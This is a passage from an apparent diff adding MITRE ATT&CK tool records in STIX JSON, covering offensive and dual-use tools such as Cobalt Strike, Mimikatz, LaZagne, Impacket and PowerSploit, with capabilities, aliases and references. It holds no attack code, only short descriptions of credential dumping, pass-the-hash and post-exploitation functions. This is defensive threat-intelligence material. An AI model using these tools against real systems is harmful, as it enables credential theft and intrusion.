"https://attack.mitre.org/software/S0119" + }, + { + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "source_name": "Mandiant APT1", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ] + }, + { + "name": "Cobalt Strike", + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) is a commercial, full-featured, penetration testing tool which bills itself as \u201cadversary simulation software designed to execute targeted attacks and emulate the post-exploitation actions of advanced threat actors\u201d. Cobalt Strike\u2019s interactive post-exploit capabilities cover the full range of ATT&CK tactics, all executed within a single, integrated system. (Citation: cobaltstrike manual)\n\nIn addition to its own capabilities, [Cobalt Strike](https://attack.mitre.org/software/S0154) leverages the capabilities of other well-known tools such as Metasploit and [Mimikatz](https://attack.mitre.org/software/S0002). (Citation: cobaltstrike manual)", + "id": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "external_references": [ + { + "external_id": "S0154", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0154" + }, + { + "source_name": "cobaltstrike manual", + "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", + "url": "https://cobaltstrike.com/downloads/csmanual38.pdf" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Cobalt Strike" + ], + "type": "tool", + "x_mitre_version": "1.2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Josh Abraham" + ], + "created": "2017-12-14T16:46:06.044Z", + "modified": "2019-06-06T19:04:39.061Z", + "labels": [ + "tool" + ] + }, + { + "name": "Empire", + "description": "[Empire](https://attack.mitre.org/software/S0363) is an open source, cross-platform remote administration and post-exploitation framework that is publicly available on GitHub. While the tool itself is primarily written in Python, the post-exploitation agents are written in pure [PowerShell](https://attack.mitre.org/techniques/T1086) for Windows and Python for Linux/macOS. [Empire](https://attack.mitre.org/software/S0363) was one of five tools singled out by a joint report on public hacking tools being widely used by adversaries.(Citation: NCSC Joint Report Public Tools)(Citation: Github PowerShell Empire)(Citation: GitHub ATTACK Empire)\n\n", + "id": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Empire", + "EmPyre", + "PowerShell Empire" + ], + "type": "tool", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "tool" + ], + "created": "2019-03-11T14:13:40.648Z", + "modified": "2019-06-24T17:15:43.818Z", + "external_references": [ + { + "external_id": "S0363", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0363" + }, + { + "description": "(Citation: Github PowerShell Empire)", + "source_name": "EmPyre" + }, + { + "description": "(Citation: Github PowerShell Empire)", + "source_name": "PowerShell Empire" + }, + { + "description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.", + "source_name": "NCSC Joint Report Public Tools", + "url": "https://s3.eu-west-1.amazonaws.com/ncsc-content/files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf" + }, + { + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "source_name": "Github PowerShell Empire", + "url": "https://github.com/PowerShellEmpire/Empire" + }, + { + "description": "Stepanic, D. (2018, September 2). attck_empire: Generate ATT&CK Navigator layer file from PowerShell Empire agent logs. Retrieved March 11, 2019.", + "source_name": "GitHub ATTACK Empire", + "url": "https://github.com/dstepanic/attck_empire" + } + ] + }, + { + "name": "Expand", + "description": "[Expand](https://attack.mitre.org/software/S0361) is a Windows utility used to expand one or more compressed CAB files.(Citation: Microsoft Expand Utility) It has been used by [BBSRAT](https://attack.mitre.org/software/S0127) to decompress a CAB file into executable content.(Citation: Palo Alto Networks BBSRAT)", + "id": "tool--ca656c25-44f1-471b-9d9f-e2a3bbb84973", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0361", + "url": "https://attack.mitre.org/software/S0361" + }, + { + "source_name": "Microsoft Expand Utility", + "description": "Microsoft. (2017, October 15). Expand. Retrieved February 19, 2019.", + "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/expand" + }, + { + "description": "Lee, B. Grunzweig, J. (2015, December 22). BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger. Retrieved August 19, 2016.", + "source_name": "Palo Alto Networks BBSRAT", + "url": "http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "tool", + "x_mitre_aliases": [ + "Expand" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Matthew Demaske, Adaptforward" + ], + "created": "2019-02-19T19:17:14.971Z", + "modified": "2019-04-19T18:52:30.033Z", + "labels": [ + "tool" + ] + }, + { + "name": "FTP", + "description": "[FTP](https://attack.mitre.org/software/S0095) is a utility commonly available with operating systems to transfer information over the File Transfer Protocol (FTP). Adversaries can use it to transfer other tools onto a system or to exfiltrate data. (Citation: Wikipedia FTP)", + "labels": [ + "tool" + ], + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "FTP", + "ftp.exe" + ], + "type": "tool", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "tool--cf23bf4a-e003-4116-bbae-1ea6c558d565", + "created": "2017-05-31T21:33:00.565Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0095", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0095" + }, + { + "description": "Wikipedia. (2016, June 15). File Transfer Protocol. Retrieved July 20, 2016.", + "source_name": "Wikipedia FTP", + "url": "https://en.wikipedia.org/wiki/File_Transfer_Protocol" + } + ] + }, + { + "name": "Fgdump", + "description": "[Fgdump](https://attack.mitre.org/software/S0120) is a Windows password hash dumper. (Citation: Mandiant APT1)", + "labels": [ + "tool" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Fgdump" + ], + "type": "tool", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "tool--4f45dfeb-fe51-4df0-8db3-edf7dd0513fe", + "created": "2017-05-31T21:33:10.569Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0120", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0120" + }, + { + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "source_name": "Mandiant APT1", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ] + }, + { + "name": "Forfiles", + "description": "[Forfiles](https://attack.mitre.org/software/S0193) is a Windows utility commonly used in batch jobs to execute commands on one or more selected files or directories (ex: list all directories in a drive, read the first line of all files created yesterday, etc.). Forfiles can be executed from either the command line, Run window, or batch files/scripts. (Citation: Microsoft Forfiles Aug 2016)", + "id": "tool--90ec2b22-7061-4469-b539-0989ec4f96c2", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Forfiles" + ], + "type": "tool", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Matthew Demaske, Adaptforward" + ], + "created": "2018-04-18T17:59:24.739Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0193", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0193" + }, + { + "description": "Microsoft. (2016, August 31). Forfiles. Retrieved January 22, 2018.", + "source_name": "Microsoft Forfiles Aug 2016", + "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc753551(v=ws.11)" + } + ], + "labels": [ + "tool" + ] + }, + { + "name": "HTRAN", + "description": "[HTRAN](https://attack.mitre.org/software/S0040) is a tool that proxies connections through intermediate hops and aids users in disguising their true geographical location. It can be used by adversaries to hide their location when interacting with the victim networks. (Citation: Operation Quantum Entanglement)(Citation: NCSC Joint Report Public Tools)", + "id": "tool--d5e96a35-7b0b-4c6a-9533-d63ecbda563e", + "x_mitre_platforms": [ + "Linux", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "HTRAN", + "HUC Packet Transmit Tool" + ], + "type": "tool", + "x_mitre_version": "1.1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "tool" + ], + "created": "2017-05-31T21:32:32.011Z", + "modified": "2019-04-24T20:32:54.936Z", + "external_references": [ + { + "external_id": "S0040", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0040" + }, + { + "description": "(Citation: Operation Quantum Entanglement)", + "source_name": "HUC Packet Transmit Tool" + }, + { + "source_name": "Operation Quantum Entanglement", + "description": "Haq, T., Moran, N., Vashisht, S., Scott, M. (2014, September). OPERATION QUANTUM ENTANGLEMENT. Retrieved November 4, 2015.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-quantum-entanglement.pdf" + }, + { + "source_name": "NCSC Joint Report Public Tools", + "description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.", + "url": "https://s3.eu-west-1.amazonaws.com/ncsc-content/files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf" + } + ] + }, + { + "name": "Havij", + "description": "[Havij](https://attack.mitre.org/software/S0224) is an automatic SQL Injection tool distributed by the Iranian ITSecTeam security company. Havij has been used by penetration testers and adversaries. (Citation: Check Point Havij Analysis)", + "labels": [ + "tool" + ], + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Havij" + ], + "type": "tool", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "tool--fbd727ea-c0dc-42a9-8448-9e12962d1ab5", + "created": "2018-04-18T17:59:24.739Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0224", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0224" + }, + { + "description": "Ganani, M. (2015, May 14). Analysis of the Havij SQL Injection tool. Retrieved March 19, 2018.", + "source_name": "Check Point Havij Analysis", + "url": "https://blog.checkpoint.com/2015/05/14/analysis-havij-sql-injection-tool/" + } + ] + }, + { + "name": "Impacket", + "description": "[Impacket](https://attack.mitre.org/software/S0357) is an open source collection of modules written in Python for programmatically constructing and manipulating network protocols. [Impacket](https://attack.mitre.org/software/S0357) contains several tools for remote service execution, Kerberos manipulation, Windows credential dumping, packet sniffing, and relay attacks.(Citation: Impacket Tools)", + "id": "tool--26c87906-d750-42c5-946c-d4162c73fc7b", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0357", + "url": "https://attack.mitre.org/software/S0357" + }, + { + "source_name": "Impacket Tools", + "description": "SecureAuth. (n.d.). Retrieved January 15, 2019.", + "url": "https://www.secureauth.com/labs/open-source-tools/impacket" + } + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "tool", + "x_mitre_aliases": [ + "Impacket" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Jacob Wilkin, Trustwave, SpiderLabs" + ], + "created": "2019-01-31T01:39:56.283Z", + "modified": "2019-04-18T21:49:12.638Z", + "labels": [ + "tool" + ] + }, + { + "name": "Invoke-PSImage", + "description": "[Invoke-PSImage](https://attack.mitre.org/software/S0231) takes a PowerShell script and embeds the bytes of the script into the pixels of a PNG image. It generates a one liner for executing either from a file of from the web. Example of usage is embedding the PowerShell code from the Invoke-Mimikatz module and embed it into an image file. By calling the image file from a macro for example, the macro will download the picture and execute the PowerShell code, which in this case will dump the passwords. (Citation: GitHub Invoke-PSImage)", + "id": "tool--b52d6583-14a2-4ddc-8527-87fd2142558f", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Invoke-PSImage" + ], + "type": "tool", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Christiaan Beek, @ChristiaanBeek" + ], + "created": "2018-04-18T17:59:24.739Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0231", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0231" + }, + { + "description": "Adams, B. (2017, December 17). Invoke-PSImage. Retrieved April 10, 2018.", + "source_name": "GitHub Invoke-PSImage", + "url": "https://github.com/peewpw/Invoke-PSImage" + } + ], + "labels": [ + "tool" + ] + }, + { + "name": "Koadic", + "description": "[Koadic](https://attack.mitre.org/software/S0250) is a Windows post-exploitation framework and penetration testing tool. [Koadic](https://attack.mitre.org/software/S0250) is publicly available on GitHub and the tool is executed via the command-line. [Koadic](https://attack.mitre.org/software/S0250) has several options for staging payloads and creating implants. [Koadic](https://attack.mitre.org/software/S0250) performs most of its operations using Windows Script Host. (Citation: Github Koadic) (Citation: Palo Alto Sofacy 06-2018)", + "labels": [ + "tool" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Koadic" + ], + "type": "tool", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4", + "created": "2018-10-17T00:14:20.652Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0250", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0250" + }, + { + "description": "(Citation: Github Koadic)", + "source_name": "Koadic" + }, + { + "description": "Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018.", + "source_name": "Github Koadic", + "url": "https://github.com/zerosum0x0/koadic" + }, + { + "description": "Lee, B., Falcone, R. (2018, June 06). Sofacy Group\u2019s Parallel Attacks. Retrieved June 18, 2018.", + "source_name": "Palo Alto Sofacy 06-2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/" + } + ] + }, + { + "name": "LaZagne", + "description": "[LaZagne](https://attack.mitre.org/software/S0349) is a post-exploitation, open-source tool used to recover stored passwords on a system. It has modules for Windows, Linux, and OSX, but is mainly focused on Windows systems. [LaZagne](https://attack.mitre.org/software/S0349) is publicly available on GitHub.(Citation: GitHub LaZagne Dec 2018)", + "id": "tool--b76b2d94-60e4-4107-a903-4a3a7622fb3b", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "tool", + "x_mitre_aliases": [ + "LaZagne" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "tool" + ], + "created": "2019-01-30T16:44:59.887Z", + "modified": "2019-06-24T16:21:13.858Z", + "external_references": [ + { + "external_id": "S0349", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0349" + }, + { + "description": "(Citation: GitHub LaZange Dec 2018)", + "source_name": "LaZagne" + }, + { + "source_name": "GitHub LaZagne Dec 2018", + "description": "Zanni, A. (n.d.). The LaZagne Project !!!. Retrieved December 14, 2018.", + "url": "https://github.com/AlessandroZ/LaZagne" + } + ] + }, + { + "name": "Lslsass", + "description": "[Lslsass](https://attack.mitre.org/software/S0121) is a publicly-available tool that can dump active logon session password hashes from the lsass process. (Citation: Mandiant APT1)", + "labels": [ + "tool" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Lslsass" + ], + "type": "tool", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "tool--2fab555f-7664-4623-b4e0-1675ae38190b", + "created": "2017-05-31T21:33:10.962Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0121", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0121" + }, + { + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "source_name": "Mandiant APT1", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ] + }, + { + "name": "MailSniper", + "description": "MailSniper is a penetration testing tool for searching through email in a Microsoft Exchange environment for specific terms (passwords, insider intel, network architecture information, etc.). It can be used by a non-administrative user to search their own email, or by an Exchange administrator to search the mailboxes of every user in a domain.(Citation: GitHub MailSniper)", + "id": "tool--999c4e6e-b8dc-4b4f-8d6e-1b829f29997e", + "x_mitre_platforms": [ + "Office 365", + "Windows", + "Azure AD" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "tool", + "x_mitre_aliases": [ + "MailSniper" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "tool" + ], + "created": "2019-10-05T02:34:01.189Z", + "modified": "2019-10-15T18:27:30.488Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0413", + "url": "https://attack.mitre.org/software/S0413" + }, + { + "source_name": "GitHub MailSniper", + "description": "Bullock, B., . (2018, November 20). MailSniper. Retrieved October 4, 2019.", + "url": "https://github.com/dafthack/MailSniper" + } + ] + }, + { + "name": "MimiPenguin", + "description": "[MimiPenguin](https://attack.mitre.org/software/S0179) is a credential dumper, similar to [Mimikatz](https://attack.mitre.org/software/S0002), designed specifically for Linux platforms. (Citation: MimiPenguin GitHub May 2017)", + "id": "tool--5a33468d-844d-4b1f-98c9-0e786c556b27", + "x_mitre_platforms": [ + "Linux" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "MimiPenguin" + ], + "type": "tool", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Vincent Le Toux" + ], + "created": "2018-01-16T16:13:52.465Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0179", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0179" + }, + { + "description": "Gregal, H. (2017, May 12). MimiPenguin. Retrieved December 5, 2017.", + "source_name": "MimiPenguin GitHub May 2017", + "url": "https://github.com/huntergregal/mimipenguin" + } + ], + "labels": [ + "tool" + ] + }, + { + "name": "Mimikatz", + "description": "[Mimikatz](https://attack.mitre.org/software/S0002) is a credential dumper capable of obtaining plaintext Windows account logins and passwords, along with many other features that make it useful for testing the security of networks. (Citation: Deply Mimikatz) (Citation: Adsecurity Mimikatz Guide)", + "id": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", + "external_references": [ + { + "external_id": "S0002", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0002" + }, + { + "description": "Deply, B. (n.d.). Mimikatz. Retrieved September 29, 2015.", + "source_name": "Deply Mimikatz", + "url": "https://github.com/gentilkiwi/mimikatz" + }, + { + "source_name": "Adsecurity Mimikatz Guide", + "description": "Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. Retrieved December 23, 2015.", + "url": "https://adsecurity.org/?page_id=1821" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Mimikatz" + ], + "type": "tool", + "x_mitre_version": "1.1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Vincent Le Toux" + ], + "created": "2017-05-31T21:32:11.544Z", + "modified": "2019-04-24T23:36:42.142Z", + "labels": [ + "tool" + ] + }, + { + "name": "Net", + "description": "The [Net](https://attack.mitre.org/software/S0039) utility is a component of the Windows operating system. It is used in command-line operations for control of users, groups, services, and network connections. (Citation: Microsoft Net Utility)\n\n[Net](https://attack.mitre.org/software/S0039) has a great deal of functionality, (Citation: Savill 1999) much of which is useful for an adversary, such as gathering system and network information for Discovery, moving laterally through [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) using net use commands, and interacting with services. The net1.exe utility is executed for certain functionality when net.exe is run and can be used directly in commands such as net1 user.", + "id": "tool--03342581-f790-4f03-ba41-e82e67392e23", + "external_references": [ + { + "external_id": "S0039", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0039" + }, + { + "description": "Microsoft. (2006, October 18). Net.exe Utility. Retrieved September 22, 2015.", + "source_name": "Microsoft Net Utility", + "url": "https://msdn.microsoft.com/en-us/library/aa939914" + }, + { + "description": "Savill, J. (1999, March 4). Net.exe reference. Retrieved September 22, 2015.", + "source_name": "Savill 1999", + "url": "http://windowsitpro.com/windows/netexe-reference" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Net", + "net.exe" + ], + "type": "tool", + "x_mitre_version": "2.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "David Ferguson, CyberSponse" + ], + "created": "2017-05-31T21:32:31.601Z", + "modified": "2019-04-24T23:39:01.346Z", + "labels": [ + "tool" + ] + }, + { + "name": "Nltest", + "description": "[Nltest](https://attack.mitre.org/software/S0359) is a Windows command-line utility used to list domain controllers and enumerate domain trusts.(Citation: Nltest Manual)", + "id": "tool--981acc4c-2ede-4b56-be6e-fa1a75f37acf", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "tool", + "x_mitre_aliases": [ + "Nltest" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "tool" + ], + "created": "2019-02-14T17:08:55.176Z", + "modified": "2019-04-22T19:06:17.325Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0359", + "url": "https://attack.mitre.org/software/S0359" + }, + { + "description": "ss64. (n.d.). NLTEST.exe - Network Location Test. Retrieved February 14, 2019.", + "source_name": "Nltest Manual", + "url": "https://ss64.com/nt/nltest.html" + } + ] + }, + { + "name": "Pass-The-Hash Toolkit", + "description": "[Pass-The-Hash Toolkit](https://attack.mitre.org/software/S0122) is a toolkit that allows an adversary to \"pass\" a password hash (without knowing the original password) to log in to systems. (Citation: Mandiant APT1)", + "labels": [ + "tool" + ], + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Pass-The-Hash Toolkit" + ], + "type": "tool", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "tool--a52edc76-328d-4596-85e7-d56ef5a9eb69", + "created": "2017-05-31T21:33:11.426Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0122", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0122" + }, + { + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "source_name": "Mandiant APT1", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ] + }, + { + "name": "Ping", + "description": "[Ping](https://attack.mitre.org/software/S0097) is an operating system utility commonly used to troubleshoot and verify network connections. (Citation: TechNet Ping)", + "labels": [ + "tool" + ], + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "ping.exe", + "Ping" + ], + "type": "tool", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "tool--b77b563c-34bb-4fb8-86a3-3694338f7b47", + "created": "2017-05-31T21:33:01.483Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0097", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0097" + }, + { + "description": "Microsoft. (n.d.). Ping. Retrieved April 8, 2016.", + "source_name": "TechNet Ping", + "url": "https://technet.microsoft.com/en-us/library/bb490968.aspx" + } + ] + }, + { + "name": "PoshC2", + "description": "[PoshC2](https://attack.mitre.org/software/S0378) is an open source remote administration and post-exploitation framework that is publicly available on GitHub. The server-side components of the tool are primarily written in Python, while the implants are written in [PowerShell](https://attack.mitre.org/techniques/T1086). Although [PoshC2](https://attack.mitre.org/software/S0378) is primarily focused on Windows implantation, it does contain a basic Python dropper for Linux/macOS.(Citation: GitHub PoshC2)", + "id": "tool--4b57c098-f043-4da2-83ef-7588a6d426bc", + "x_mitre_platforms": [ + "Windows", + "Linux", + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1", + "type": "tool", + "x_mitre_aliases": [ + "PoshC2" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "tool" + ], + "created": "2019-04-23T12:31:58.125Z", + "modified": "2019-10-15T18:57:35.352Z", + "external_references": [ + { + "external_id": "S0378", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0378" + }, + { + "source_name": "GitHub PoshC2", + "description": "Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019.", + "url": "https://github.com/nettitude/PoshC2_Python" + } + ] + }, + { + "name": "PowerSploit", + "description": "[PowerSploit](https://attack.mitre.org/software/S0194) is an open source, offensive security framework comprised of [PowerShell](https://attack.mitre.org/techniques/T1086) modules and scripts that perform a wide range of tasks related to penetration testing such as code execution, persistence, bypassing anti-virus, recon, and exfiltration. (Citation: GitHub PowerSploit May 2012) (Citation: PowerShellMagazine PowerSploit July 2014) (Citation: PowerSploit Documentation)", + "id": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "PowerSploit" + ], + "type": "tool", + "x_mitre_version": "1.1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "tool" + ], + "created": "2018-04-18T17:59:24.739Z", + "modified": "2019-04-24T23:43:07.902Z", + "external_references": [ + { + "external_id": "S0194", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0194" + }, + { + "source_name": "GitHub PowerSploit May 2012", + "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.", + "url": "https://github.com/PowerShellMafia/PowerSploit" + }, + { + "source_name": "PowerShellMagazine PowerSploit July 2014", + "description": "Graeber, M. (2014, July 8). PowerSploit. Retrieved February 6, 2018.", + "url": "http://www.powershellmagazine.com/2014/07/08/powersploit/" + }, + { + "source_name": "PowerSploit Documentation", + "description": 